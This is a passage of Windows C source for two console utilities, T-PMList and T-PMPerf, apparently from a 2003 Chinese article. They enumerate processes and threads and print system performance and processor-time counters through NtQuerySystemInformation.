typedef LONG KPRIORITY;
typedef struct _VM_COUNTERS
{
ULONG PeakVirtualSize;
ULONG VirtualSize;
ULONG PageFaultCount;
ULONG PeakWorkingSetSize;
ULONG WorkingSetSize;
ULONG QuotaPeakPagedPoolUsage;
ULONG QuotaPagedPoolUsage;
ULONG QuotaPeakNonPagedPoolUsage;
ULONG QuotaNonPagedPoolUsage;
ULONG PagefileUsage;
ULONG PeakPagefileUsage;
}VM_COUNTERS,*PVM_COUNTERS;
typedef struct _IO_COUNTERS
{
LARGE_INTEGER ReadOperationCount;
LARGE_INTEGER WriteOperationCount;
LARGE_INTEGER OtherOperationCount;
LARGE_INTEGER ReadTransferCount;
LARGE_INTEGER WriteTransferCount;
LARGE_INTEGER OtherTransferCount;
}IO_COUNTERS,*PIO_COUNTERS;
typedef enum _THREAD_STATE
{
StateInitialized,
StateReady,
StateRunning,
StateStandby,
StateTerminated,
StateWait,
StateTransition,
StateUnknown
}THREAD_STATE;
typedef enum _KWAIT_REASON
{
Executive,
FreePage,
PageIn,
PoolAllocation,
DelayExecution,
Suspended,
UserRequest,
WrExecutive,
WrFreePage,
WrPageIn,
WrPoolAllocation,
WrDelayExecution,
WrSuspended,
WrUserRequest,
WrEventPair,
WrQueue,
WrLpcReceive,
WrLpcReply,
WrVertualMemory,
WrPageOut,
WrRendezvous,
Spare2,
Spare3,
Spare4,
Spare5,
Spare6,
WrKernel
}KWAIT_REASON;
typedef struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientId;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
THREAD_STATE State;
KWAIT_REASON WaitReason;
}SYSTEM_THREADS,*PSYSTEM_THREADS;
typedef struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved1[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
SYSTEM_THREADS Threads[1];
}SYSTEM_PROCESSES,*PSYSTEM_PROCESSES;
typedef DWORD SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS (__stdcall *NTQUERYSYSTEMINFORMATION)
(IN SYSTEM_INFORMATION_CLASS,
IN OUT PVOID,
IN ULONG,
OUT PULONG OPTIONAL);
NTQUERYSYSTEMINFORMATION NtQuerySystemInformation;
DWORD EnumProcess()
{
PSYSTEM_PROCESSES pSystemProc;
HMODULE hNtDll = NULL;
LPVOID lpSystemInfo = NULL;
DWORD dwNumberBytes = MAX_INFO_BUF_LEN;
DWORD dwTotalProcess = 0;
DWORD dwReturnLength;
NTSTATUS Status;
LONGLONG llTempTime;
 __try
{
hNtDll =
        LoadLibrary("NtDll.dll");
if(hNtDll ==
        NULL)
{
printf("LoadLibrary Error:
        %d\n",GetLastError());
__leave;
}
  NtQuerySystemInformation =
        (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtDll,"NtQuerySystemInformation");
if(NtQuerySystemInformation ==
        NULL)
{
printf("GetProcAddress for NtQuerySystemInformation Error:
        %d\n",GetLastError());
__leave;
}
lpSystemInfo = (LPVOID)malloc(dwNumberBytes);
Status = NtQuerySystemInformation(NT_PROCESSTHREAD_INFO,
lpSystemInfo,
dwNumberBytes,
&dwReturnLength);
if(Status == STATUS_INFO_LENGTH_MISMATCH)
{
printf("STATUS_INFO_LENGTH_MISMATCH\n");
__leave;
}
else if(Status != STATUS_SUCCESS)
{
printf("NtQuerySystemInformation Error: %d\n",GetLastError());
__leave;
}
  printf("%-20s%6s%7s%8s%6s%7s%7s%13s\n","ProcessName","PID","PPID","WsSize","Prio.","Thread","Handle","CPU
        Time");
printf("--------------------------------------------------------------------------\n");
pSystemProc
        =
        (PSYSTEM_PROCESSES)lpSystemInfo;
while(pSystemProc->NextEntryDelta
        != 0)
{
if(pSystemProc->ProcessId
        !=
        0)
{
wprintf(L"%-20s",pSystemProc->ProcessName.Buffer);
}
else
{
wprintf(L"%-20s",L"System
        Idle
        Process");
}
printf("%6d",pSystemProc->ProcessId);
printf("%7d",pSystemProc->InheritedFromProcessId);
printf("%7dK",pSystemProc->VmCounters.WorkingSetSize/1024);
printf("%6d",pSystemProc->BasePriority);
printf("%7d",pSystemProc->ThreadCount);
printf("%7d",pSystemProc->HandleCount);
llTempTime
        = pSystemProc->KernelTime.QuadPart +
        pSystemProc->UserTime.QuadPart;
llTempTime /=
        10000;
printf("%3d:",llTempTime/(60*60*1000));
llTempTime
        %=
        60*60*1000;
printf("%.2d:",llTempTime/(60*1000));
llTempTime
        %=
        60*1000;
printf("%.2d.",llTempTime/1000);
llTempTime
        %= 1000;
printf("%.3d",llTempTime);
   printf("\n");
dwTotalProcess
        ++;
pSystemProc = (PSYSTEM_PROCESSES)((char
        *)pSystemProc +
        pSystemProc->NextEntryDelta);
}
printf("--------------------------------------------------------------------------\n");
printf("\nTotal
        %d Process(es) !\n\n",dwTotalProcess);
printf("PID\t
        ==> Process Identification\n");
printf("PPID\t ==>
        Parent Process Identification\n");
printf("WsSize\t
        ==> Working Set Size\n");
printf("Prio.\t ==> Base
        Priority\n");
printf("Thread\t ==> Thread
        Count\n");
printf("Handle\t ==> Handle
        Count\n");
printf("CPU Time ==> Processor
        Time\n");
}
__finally
{
if(lpSystemInfo
        !=
        NULL)
{
free(lpSystemInfo);
}
if(hNtDll
        != NULL)
{
FreeLibrary(hNtDll);
}
}
return 0;
}
DWORD SpeciProcess(DWORD dwPID)
{
PSYSTEM_PROCESSES pSystemProc = NULL;
PSYSTEM_THREADS pSystemThre = NULL;
HMODULE hNtDll = NULL;
LPVOID lpSystemInfo = NULL;
DWORD dwNumberBytes = MAX_INFO_BUF_LEN;
DWORD dwTotalProcess = 0;
DWORD dwReturnLength;
NTSTATUS Status;
LONGLONG llTempTime;
ULONG ulIndex;
 __try
{
hNtDll =
        LoadLibrary("NtDll.dll");
if(hNtDll ==
        NULL)
{
printf("LoadLibrary Error:
        %d\n",GetLastError());
__leave;
}
  NtQuerySystemInformation =
        (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtDll,"NtQuerySystemInformation");
if(NtQuerySystemInformation ==
        NULL)
{
printf("GetProcAddress for NtQuerySystemInformation Error:
        %d\n",GetLastError());
__leave;
}
lpSystemInfo = (LPVOID)malloc(dwNumberBytes);
Status = NtQuerySystemInformation(NT_PROCESSTHREAD_INFO,
lpSystemInfo,
dwNumberBytes,
&dwReturnLength);
if(Status == STATUS_INFO_LENGTH_MISMATCH)
{
printf("STATUS_INFO_LENGTH_MISMATCH\n");
__leave;
}
else if(Status != STATUS_SUCCESS)
{
printf("NtQuerySystemInformation Error: %d\n",GetLastError());
__leave;
}
  pSystemProc =
        (PSYSTEM_PROCESSES)lpSystemInfo;
while(pSystemProc->NextEntryDelta
        != 0)
{
if(pSystemProc->ProcessId
        ==
        dwPID)
{
printf("ProcessName:\t\t
        ");
if(pSystemProc->ProcessId !=
        0)
{
wprintf(L"%-20s\n",pSystemProc->ProcessName.Buffer);
}
else
{
wprintf(L"%-20s\n",L"System
        Idle
        Process");
}
printf("ProcessID:\t\t
        %d\t\t",pSystemProc->ProcessId);
printf("ParentProcessID:\t%d\n",pSystemProc->InheritedFromProcessId);
printf("KernelTime:\t\t ");
llTempTime = pSystemProc->KernelTime.QuadPart;
llTempTime /= 10000;
printf("%d:",llTempTime/(60*60*1000));
llTempTime %= 60*60*1000;
printf("%.2d:",llTempTime/(60*1000));
llTempTime %= 60*1000;
printf("%.2d.",llTempTime/1000);
llTempTime %= 1000;
printf("%.3d\t",llTempTime);
printf("UserTime:\t\t");
llTempTime = pSystemProc->UserTime.QuadPart;
llTempTime /= 10000;
printf("%d:",llTempTime/(60*60*1000));
llTempTime %= 60*60*1000;
printf("%.2d:",llTempTime/(60*1000));
llTempTime %= 60*1000;
printf("%.2d.",llTempTime/1000);
llTempTime %= 1000;
printf("%.3d\n",llTempTime);
    printf("Privilege:\t\t
        %d%%\t\t",(pSystemProc->KernelTime.QuadPart *
        100)/(pSystemProc->KernelTime.QuadPart +
        pSystemProc->UserTime.QuadPart));
printf("User:\t\t\t%d%%\n",(pSystemProc->UserTime.QuadPart
        * 100)/(pSystemProc->KernelTime.QuadPart +
        pSystemProc->UserTime.QuadPart));
printf("ThreadCount:\t\t %d\t\t",pSystemProc->ThreadCount);
printf("HandleCount:\t\t%d\n",pSystemProc->HandleCount);
printf("BasePriority:\t\t %-2d\t\t",pSystemProc->BasePriority);
printf("PageFaultCount:\t\t%d\n\n",pSystemProc->VmCounters.PageFaultCount);
printf("PeakWorkingSetSize(K):\t %-8d\t",pSystemProc->VmCounters.PeakWorkingSetSize/1024);
printf("WorkingSetSize(K):\t%-8d\n",pSystemProc->VmCounters.WorkingSetSize/1024);
printf("PeakPagedPool(K):\t %-8d\t",pSystemProc->VmCounters.QuotaPeakPagedPoolUsage/1024);
printf("PagedPool(K):\t\t%-8d\n",pSystemProc->VmCounters.QuotaPagedPoolUsage/1024);
printf("PeakNonPagedPook(K):\t %-8d\t",pSystemProc->VmCounters.QuotaPeakNonPagedPoolUsage/1024);
printf("NonePagedPook(K):\t%-8d\n",pSystemProc->VmCounters.QuotaNonPagedPoolUsage/1024);
printf("PeakPagefile(K):\t %-8d\t",pSystemProc->VmCounters.PeakPagefileUsage/1024);
printf("Pagefile(K):\t\t%-8d\n",pSystemProc->VmCounters.PagefileUsage/1024);
printf("PeakVirtualSize(K):\t %-8d\t",pSystemProc->VmCounters.PeakVirtualSize/1024);
printf("VirtualSize(K):\t\t%-8d\n\n",pSystemProc->VmCounters.VirtualSize/1024);
printf("ReadTransfer:\t\t %-8d\t",pSystemProc->IoCounters.ReadTransferCount);
printf("ReadOperationCount:\t%-8d\n",pSystemProc->IoCounters.ReadOperationCount);
printf("WriteTransfer:\t\t %-8d\t",pSystemProc->IoCounters.WriteTransferCount);
printf("WriteOperationCount:\t%-8d\n",pSystemProc->IoCounters.WriteOperationCount);
printf("OtherTransfer:\t\t %-8d\t",pSystemProc->IoCounters.OtherTransferCount);
printf("OtherOperationCount:\t%-8d\n\n",pSystemProc->IoCounters.OtherOperationCount);
printf("%-5s%3s%4s%5s%5s%11s%12s%12s%7s%6s%9s\n","TID","Pri","BPr","Priv","User","KernelTime","UserTime","StartAddr","CSwitC","State","WtReason");
printf("-------------------------------------------------------------------------------\n");
for(ulIndex = 0; ulIndex < pSystemProc->ThreadCount; ulIndex++)
{
pSystemThre = &pSystemProc->Threads[ulIndex];
printf("%-5d",pSystemProc->Threads[ulIndex].ClientId.UniqueThread);
printf("%3d",pSystemProc->Threads[ulIndex].Priority);
printf("%4d",pSystemProc->Threads[ulIndex].BasePriority);
           printf("%4d%%",(pSystemProc->Threads[ulIndex].KernelTime.QuadPart
        * 100)/(pSystemProc->KernelTime.QuadPart +
        pSystemProc->UserTime.QuadPart));
printf("%4d%%",(pSystemProc->Threads[ulIndex].UserTime.QuadPart
        * 100)/(pSystemProc->KernelTime.QuadPart +
        pSystemProc->UserTime.QuadPart));
llTempTime = pSystemProc->Threads[ulIndex].KernelTime.QuadPart;
llTempTime /= 10000;
printf("%2d:",llTempTime/(60*60*1000));
llTempTime %= 60*60*1000;
printf("%.2d.",llTempTime/(60*1000));
llTempTime %= 60*1000;
printf("%.2d.",llTempTime/1000);
llTempTime %= 100;
printf("%.2d ",llTempTime);
llTempTime = pSystemProc->Threads[ulIndex].UserTime.QuadPart;
llTempTime /= 10000;
printf("%2d:",llTempTime/(60*60*1000));
llTempTime %= 60*60*1000;
printf("%.2d.",llTempTime/(60*1000));
llTempTime %= 60*1000;
printf("%.2d.",llTempTime/1000);
llTempTime %= 100;
printf("%.2d ",llTempTime);
printf(" 0x%.8X",pSystemProc->Threads[ulIndex].StartAddress);
printf("%7d",pSystemProc->Threads[ulIndex].ContextSwitchCount);
switch(pSystemProc->Threads[ulIndex].State)
{
case StateInitialized:
printf("%6s","Init.");
break;
case StateReady:
printf("%6s","Ready");
break;
case StateRunning:
printf("%6s","Run");
break;
case StateStandby:
printf("%6s","StBy.");
break;
case StateTerminated:
printf("%6s","Term.");
break;
case StateWait:
printf("%6s","Wait");
break;
case StateTransition:
printf("%6s","Tran.");
break;
case StateUnknown:
printf("%6s","Unkn.");
break;
default:
printf("%6s","Unkn.");
break;
}
switch(pSystemProc->Threads[ulIndex].WaitReason)
{
case Executive:
printf(" %-8s","Executi.");
break;
case FreePage:
printf(" %-8s","FreePag.");
break;
case PageIn:
printf(" %-8s","PageIn");
break;
case PoolAllocation:
printf(" %-8s","PoolAll.");
break;
case DelayExecution:
printf(" %-8s","DelayEx.");
break;
case Suspended:
printf(" %-8s","Suspend.");
break;
case UserRequest:
printf(" %-8s","UserReq.");
break;
case WrExecutive:
printf(" %-8s","WrExect.");
break;
case WrFreePage:
printf(" %-8s","WrFrePg.");
break;
case WrPageIn:
printf(" %-8s","WrPageIn");
break;
case WrPoolAllocation:
printf(" %-8s","WrPoolA.");
break;
case WrSuspended:
printf(" %-8s","WrSuspe.");
break;
case WrUserRequest:
printf(" %-8s","WrUsReq.");
break;
case WrEventPair:
printf(" %-8s","WrEvent.");
break;
case WrQueue:
printf(" %-8s","WrQueue");
break;
case WrLpcReceive:
printf(" %-8s","WrLpcRv.");
break;
case WrLpcReply:
printf(" %-8s","WrLpcRp.");
break;
case WrVertualMemory:
printf(" %-8s","WrVerMm.");
break;
case WrPageOut:
printf(" %-8s","WrPgOut.");
break;
case WrRendezvous:
printf(" %-8s","WrRende.");
break;
case WrKernel:
printf(" %-8s","WrKernel");
break;
default:
printf(" %-8s","Unknown");
break;
}
printf("\n");
}
printf("-------------------------------------------------------------------------------\n\n");
printf("Total %d Thread(s) !\n\n",ulIndex);
    dwTotalProcess
        ++;
break;
}
pSystemProc
        = (PSYSTEM_PROCESSES)((char *)pSystemProc +
        pSystemProc->NextEntryDelta);
}
}
__finally
{
if(dwTotalProcess
        == 0)
{
printf("Could not found the
        %d Process
        !\n",dwPID);
}
else
{
printf("TID:\t\t====>\tThread
        Identification\n");
printf("Pri:\t\t====>\tPriority\n");
printf("BPr:\t\t====>\tBase
        Priority\n");
printf("Priv:\t\t====>\tPrivilege\n");
printf("StartAddr:\t====>\tThread
        Start
        Address\n");
printf("CSwitC:\t\t====>\tContext
        Switch Count\n");
printf("WtReason:\t====>\tWait
        Reason\n");
}
if(lpSystemInfo !=
        NULL)
{
free(lpSystemInfo);
}
if(hNtDll
        != NULL)
{
FreeLibrary(hNtDll);
}
}
return 0;
}
VOID Start()
{
printf("T-PMList, by
        TOo2y\n");
printf("E-mail: TOo2y@safechina.net\n");
printf("HomePage:
        www.safechina.net\n");
printf("Date:
        05-10-2003\n\n");
return ;
}
VOID
        Usage()
{
printf("Usage:\tT-PMList  [-e] | [-s
        PID]\n");
printf("  -e\t  Enumerate All
        Processes\n");
printf("  -s PID  Show Special Process
        Information with PID\n\n");
return ;
}
#endif
2.T-PMPerf的头文件源代码：
#ifndef T_PMPERF_H
#define T_PMPERF_H
#include "windows.h"
#include "stdio.h"
#define SYSTEM_PERF_INFO 0x02
#define SYSTEM_PROC_TIME 0x08
#define SYSTEM_PAGE_INFO 0x12
#define SYSTEM_CACHE_INFO 0x15
#define MAX_INFO_BUF_LEN 0x500000
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
typedef LONG  NTSTATUS;
typedef DWORD
        SYSTEM_INFORMATION_CLASS;
typedef struct _LSA_UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
}LSA_UNICODE_STRING,*PLSA_UNICODE_STRING;
typedef LSA_UNICODE_STRING UNICODE_STRING, *PUNICODE_STRING;
typedef struct _SYSTEM_PERFORMANCE_INFORMATION
{
LARGE_INTEGER IdleTime;
LARGE_INTEGER ReadTransferCount;
LARGE_INTEGER WriteTransferCount;
LARGE_INTEGER OtherTransferCount;
ULONG ReadOperationCount;
ULONG WriteOperationCount;
ULONG OtherOperationCount;
ULONG AvailablePages;
ULONG TotalCommittedPages;
ULONG TotalCommitLimit;
ULONG PeakCommitment;
ULONG PageFaults;
ULONG WriteCopyFaults;
ULONG TransitionFaults;
ULONG Reserved1;
ULONG DemandZeroFaults;
ULONG PagesRead;
ULONG PageReadIos;
ULONG Reserved2[2];
ULONG PagefilePagesWritten;
ULONG PagefilePageWriteIos;
ULONG MappedFilePagesWritten;
ULONG MappedFileWriteIos;
ULONG PagedPoolUsage;
ULONG NonPagedPoolUsage;
ULONG PagedPoolAllocs;
ULONG PagedPoolFrees;
ULONG NonPagedPoolAllocs;
ULONG NonPagedPoolFress;
ULONG TotalFreeSystemPtes;
ULONG SystemCodePage;
ULONG TotalSystemDriverPages;
ULONG TotalSystemCodePages;
ULONG SmallNonPagedLookasideListAllocateHits;
ULONG SmallPagedLookasideListAllocateHits;
ULONG Reserved3;
ULONG MmSystemCachePage;
ULONG PagedPoolPage;
ULONG SystemDriverPage;
ULONG FastReadNoWait;
ULONG FastReadWait;
ULONG FastReadResourceMiss;
ULONG FastReadNotPossible;
ULONG FastMdlReadNoWait;
ULONG FastMdlReadWait;
ULONG FastMdlReadResourceMiss;
ULONG FastMdlReadNotPossible;
ULONG MapDataNoWait;
ULONG MapDataWait;
ULONG MapDataNoWaitMiss;
ULONG MapDataWaitMiss;
ULONG PinMappedDataCount;
ULONG PinReadNoWait;
ULONG PinReadWait;
ULONG PinReadNoWaitMiss;
ULONG PinReadWaitMiss;
ULONG CopyReadNoWait;
ULONG CopyReadWait;
ULONG CopyReadNoWaitMiss;
ULONG CopyReadWaitMiss;
ULONG MdlReadNoWait;
ULONG MdlReadWait;
ULONG MdlReadNoWaitMiss;
ULONG MdlReadWaitMiss;
ULONG ReadAheadIos;
ULONG LazyWriteIos;
ULONG LazyWritePages;
ULONG DataFlushes;
ULONG DataPages;
ULONG ContextSwitches;
ULONG FirstLevelTbFills;
ULONG SecondLevelTbFills;
ULONG SystemCall;
}SYSTEM_PERFORMANCE_INFORMATION,*PSYSTEM_PERFORMANCE_INFORMATION;
typedef struct __SYSTEM_PROCESSOR_TIMES
{
LARGE_INTEGER IdleTime;
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER DpcTime;
LARGE_INTEGER InterruptTime;
ULONG InterruptCount;
}SYSTEM_PROCESSOR_TIMES,*PSYSTEM_PROCESSOR_TIMES;
typedef struct _SYSTEM_PAGEFILE_INFORMATION
{
ULONG NetxEntryOffset;
ULONG CurrentSize;
ULONG TotalUsed;
ULONG PeakUsed;
UNICODE_STRING FileName;
}SYSTEM_PAGEFILE_INFORMATION,*PSYSTEM_PAGEFILE_INFORMATION;
typedef struct _SYSTEM_CACHE_INFORMATION
{
ULONG SystemCacheWsSize;
ULONG SystemCacheWsPeakSize;
ULONG SystemCacheWsFaults;
ULONG SystemCacheWsMinimum;
ULONG SystemCacheWsMaximum;
ULONG TransitionSharedPages;
ULONG TransitionSharedPagesPeak;
ULONG Reserved[2];
}SYSTEM_CACHE_INFORMATION,*PSYSTEM_CACHE_INFORMATION;
typedef NTSTATUS (__stdcall * NTQUERYSYSTEMINFORMATION)
(IN SYSTEM_INFORMATION_CLASS,
IN OUT PVOID,
INT ULONG,
OUT PULONG OPTION);
NTQUERYSYSTEMINFORMATION NtQuerySystemInformation;
DWORD PerfInfo()
{
SYSTEM_PERFORMANCE_INFORMATION SystemPerfInfo;
HMODULE hNtDll = NULL;
DWORD dwNumberBytes;
DWORD dwReturnLength;
NTSTATUS Status;
LONGLONG llTempTime;
 __try
{
hNtDll =
        LoadLibrary("NtDll.dll");
if(hNtDll ==
        NULL)
{
printf("LoadLibrary Error:
        %d\n",GetLastError());
__leave;
}
  NtQuerySystemInformation =
        (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtDll,"NtQuerySystemInformation");
if(NtQuerySystemInformation
        == NULL)
{
printf("GetProcAddress
        for NtQuerySystemInformation Error:
        %d\n",GetLastError());
__leave;
}
dwNumberBytes = sizeof(SYSTEM_PERFORMANCE_INFORMATION);
Status = NtQuerySystemInformation(SYSTEM_PERF_INFO,
&SystemPerfInfo,
dwNumberBytes,
&dwReturnLength);
if(Status != STATUS_SUCCESS)
{
printf("NtQuerySystemInformation for Performance Error: %d\n",GetLastError());
__leave;
}
printf("IdleTime:\t\t");
llTempTime = SystemPerfInfo.IdleTime.QuadPart;
llTempTime /= 10000;
printf("%d:",llTempTime/(60*60*1000));
llTempTime %= 60*60*1000;
printf("%.2d:",llTempTime/(60*1000));
llTempTime %= 60*1000;
printf("%.2d.",llTempTime/1000);
llTempTime %= 1000;
printf("%.3d\n",llTempTime);
printf("ReadOperationCount:\t%-10d\t",SystemPerfInfo.ReadOperationCount);
printf("ReadTransferCount:\t%d\n",SystemPerfInfo.ReadTransferCount);
printf("WriteOperationCount:\t%-10d\t",SystemPerfInfo.WriteOperationCount);
printf("WriteTransferCount:\t%d\n",SystemPerfInfo.WriteTransferCount);
printf("OtherOperationCount:\t%-10d\t",SystemPerfInfo.OtherOperationCount);
printf("OtherTransferCount:\t%d\n",SystemPerfInfo.OtherTransferCount);
printf("AvailablePages:\t\t%-10d\t",SystemPerfInfo.AvailablePages);
printf("TotalCommittedPage:\t%d\n",SystemPerfInfo.TotalCommittedPages);
printf("CommitLimit:\t\t%-10d\t",SystemPerfInfo.TotalCommitLimit);
printf("PeakCommitment:\t\t%d\n",SystemPerfInfo.PeakCommitment);
printf("PageFault:\t\t%-10d\t",SystemPerfInfo.PageFaults);
printf("WriteCopyFault:\t\t%d\n",SystemPerfInfo.WriteCopyFaults);
printf("TransitionFault:\t%-10d\t",SystemPerfInfo.TransitionFaults);
printf("DemandZeroFault:\t%d\n",SystemPerfInfo.DemandZeroFaults);
printf("PagesRead:\t\t%-10d\t",SystemPerfInfo.PagesRead);
printf("PageReadIos:\t\t%d\n",SystemPerfInfo.PageReadIos);
printf("PagesWritten:\t\t%-10d\t",SystemPerfInfo.PagefilePagesWritten);
printf("PageWriteIos:\t\t%d\n",SystemPerfInfo.PagefilePageWriteIos);
printf("MappedFilePagesWritten:\t%-10d\t",SystemPerfInfo.MappedFilePagesWritten);
printf("MappedFileWriteIos:\t%d\n",SystemPerfInfo.MappedFileWriteIos);
printf("PagedPoolUsage:\t\t%-10d\t",SystemPerfInfo.PagedPoolUsage);
printf("NonPagedPoolUsage:\t%d\n",SystemPerfInfo.NonPagedPoolUsage);
printf("PagedPoolAllocs:\t%-10d\t",SystemPerfInfo.PagedPoolAllocs);
printf("NonPagedPoolAllocs:\t%d\n",SystemPerfInfo.NonPagedPoolAllocs);
printf("PagedPoolFrees:\t\t%-10d\t",SystemPerfInfo.PagedPoolFrees);
printf("NonPagedPoolFrees:\t%d\n",SystemPerfInfo.NonPagedPoolFress);
printf("SystemCodePage:\t\t%-10d\t",SystemPerfInfo.SystemCodePage);
printf("TotalSystemCodePage:\t%d\n",SystemPerfInfo.TotalSystemCodePages);
printf("TotalFreeSysPTE:\t%-10d\t",SystemPerfInfo.TotalFreeSystemPtes);
printf("TotalSystemDriverPages:\t%d\n",SystemPerfInfo.TotalSystemDriverPages);
printf("PagedPoolPage:\t\t%-10d\t",SystemPerfInfo.PagedPoolPage);
printf("SystemDriverPage:\t%d\n",SystemPerfInfo.SystemDriverPage);
printf("FastReadWait:\t\t%-10d\t",SystemPerfInfo.FastReadWait);
printf("FastReadNoWait:\t\t%d\n",SystemPerfInfo.FastReadNoWait);
printf("FastReadNoPossible:\t%-10d\t",SystemPerfInfo.FastReadNotPossible);
printf("FastReadResourceMiss:\t%d\n",SystemPerfInfo.FastReadResourceMiss);
printf("FastMdlReadWait:\t%-10d\t",SystemPerfInfo.FastMdlReadWait);
printf("FastMdlReadNoWait:\t%d\n",SystemPerfInfo.FastMdlReadNoWait);
printf("FastMdlReadNotPossible:\t%-10d\t",SystemPerfInfo.FastMdlReadNotPossible);
printf("FastMdlReadResourceMiss:%d\n",SystemPerfInfo.FastMdlReadResourceMiss);

printf("MapDataWait:\t\t%-10d\t",SystemPerfInfo.MapDataWait);
printf("MapDataNoWait:\t\t%d\n",SystemPerfInfo.MapDataNoWait);
printf("MapDataWaitMiss:\t%-10d\t",SystemPerfInfo.MapDataWaitMiss);
printf("MapDataNoWaitMiss:\t%d\n",SystemPerfInfo.MapDataNoWaitMiss);
printf("ReadAheadIos:\t\t%-10d\t",SystemPerfInfo.ReadAheadIos);
printf("PinMappedDataCount:\t%d\n",SystemPerfInfo.PinMappedDataCount);
printf("PinReadWait:\t\t%-10d\t",SystemPerfInfo.PinReadWait);
printf("PinReadNoWait:\t\t%d\n",SystemPerfInfo.PinReadNoWait);
printf("PinReadWaitMiss:\t%-10d\t",SystemPerfInfo.PinReadWaitMiss);
printf("PinReadNoWaitMiss:\t%d\n",SystemPerfInfo.PinReadNoWaitMiss);
printf("CopyReadWait:\t\t%-10d\t",SystemPerfInfo.CopyReadWait);
printf("CopyReadNoWait:\t\t%d\n",SystemPerfInfo.CopyReadNoWait);
printf("CopyReadWaitMiss:\t%-10d\t",SystemPerfInfo.CopyReadWaitMiss);
printf("CopyReadNoWaitMiss:\t%-10d\n",SystemPerfInfo.CopyReadNoWaitMiss);
printf("MdlReadWait:\t\t%-10d\t",SystemPerfInfo.MdlReadWait);
printf("MdlReadNoWait:\t\t%d\n",SystemPerfInfo.MdlReadNoWait);
printf("MdlReadWaitMiss:\t%-10d\t",SystemPerfInfo.MdlReadWaitMiss);
printf("MdlReadNoWaitMiss:\t%d\n",SystemPerfInfo.MdlReadNoWaitMiss);
printf("LazyWriteIos:\t\t%-10d\t",SystemPerfInfo.LazyWriteIos);
printf("LazyWritePages:\t\t%d\n",SystemPerfInfo.LazyWritePages);
printf("DataPages:\t\t%-10d\t",SystemPerfInfo.DataPages);
printf("DataFlushes:\t\t%d\n",SystemPerfInfo.DataFlushes);
printf("FirstLevelTbFills:\t%-10d\t",SystemPerfInfo.FirstLevelTbFills);
printf("SecondLevelTbFills:\t%d\n",SystemPerfInfo.SecondLevelTbFills);
printf("ContextSwitches:\t%-10d\t",SystemPerfInfo.ContextSwitches);
printf("SytemCall:\t\t%d\n",SystemPerfInfo.SystemCall);
printf("MemorySystemCachePage:\t\t\t%d\n",SystemPerfInfo.MmSystemCachePage);
printf("SmallPagedLookasideListAllocateHits:\t%d\n",SystemPerfInfo.SmallPagedLookasideListAllocateHits);
printf("SmallNonPagedLookasideListAllocateHits:\t%d\n",SystemPerfInfo.SmallNonPagedLookasideListAllocateHits);
 }
__finally
{
if(hNtDll
        !=
        NULL)
{
FreeLibrary(hNtDll);
}
}
return 0;
}
DWORD ProcTime()
{
SYSTEM_PROCESSOR_TIMES SystemProcTime;
HMODULE hNtDll = NULL;
DWORD dwNumberBytes;
DWORD dwReturnLength;
NTSTATUS Status;
LONGLONG llTempTime;
 __try
{
hNtDll =
        LoadLibrary("NtDll.dll");
if(hNtDll ==
        NULL)
{
printf("LoadLibrary Error:
        %d\n",GetLastError());
__leave;
}
  NtQuerySystemInformation =
        (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtDll,"NtQuerySystemInformation");
if(NtQuerySystemInformation
        == NULL)
{
printf("GetProcAddress
        for NtQuerySystemInformation Error:
        %d\n",GetLastError());
__leave;
}
dwNumberBytes = sizeof(SYSTEM_PROCESSOR_TIMES);
NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtDll,"NtQuerySystemInformation");
if(NtQuerySystemInformation == NULL)
{
printf("GetProcAddress Error: %d\n",GetLastError());
__leave;
}
Status = NtQuerySystemInformation(SYSTEM_PROC_TIME,
&SystemProcTime,
dwNumberBytes,
&dwReturnLength);
if(Status != STATUS_SUCCESS)
{
printf("NtQuerySystemInformation for Processor Time Error: %d\n",GetLastError());
__leave;
}
printf("IdleTime:\t\t");
llTempTime = SystemProcTime.IdleTime.QuadPart;
llTempTime /= 10000;
printf("%d:",llTempTime/(60*60*1000));
llTempTime %= 60*60*1000;
printf("%.2d:",llTempTime/(60*1000));
llTempTime %= 60*1000;
printf("%.2d.",llTempTime/1000);
llTempTime %= 1000;
printf("%.3d\n",llTempTime);
printf("KernelTime:\t\t");
llTempTime = SystemProcTime.KernelTime.QuadPart;
llTempTime /= 10000;
printf("%d:",llTempTime/(60*60*1000));
llTempTime %= 60*60*1000;
printf("%.2d:",llTempTime/(60*1000));
llTempTime %= 60*1000;
printf("%.2d.",llTempTime/1000);
llTempTime %= 1000;
printf("%.3d\n",llTempTime);
printf("UserTime:\t\t");
llTempTime = SystemProcTime.UserTime.QuadPart;
llTempTime /= 10000;
printf("%d:",llTempTime/(60*60*1000));
llTempTime %= 60*60*1000;
printf("%.2d:",llTempTime/(60*1000));
llTempTime %= 60*1000;
printf("%.2d.",llTempTime/1000);
llTempTime %= 1000;
printf("%.3d\n",llTempTime);
printf("DpcTime:\t\t");
llTempTime = SystemProcTime.DpcTime.QuadPart;
llTempTime /= 10000;
printf("%d:",llTempTime/(60*60*1000));
llTempTime %= 60*60*1000;
printf("%.2d:",llTempTime/(60*1000));
llTempTime %= 60*1000;
printf("%.2d.",llTempTime/1000);
llTempTime %= 1000;
printf("%.3d\n",llTempTime);
printf("InterruptTime:\t\t");
llTempTime = SystemProcTime.InterruptTime.QuadPart;
llTempTime /= 10000;
printf("%d:",llTempTime/(60*60*1000));
llTempTime %= 60*60*1000;
printf("%.2d:",llTempTime/(60*1000));
llTempTime %= 60*1000;
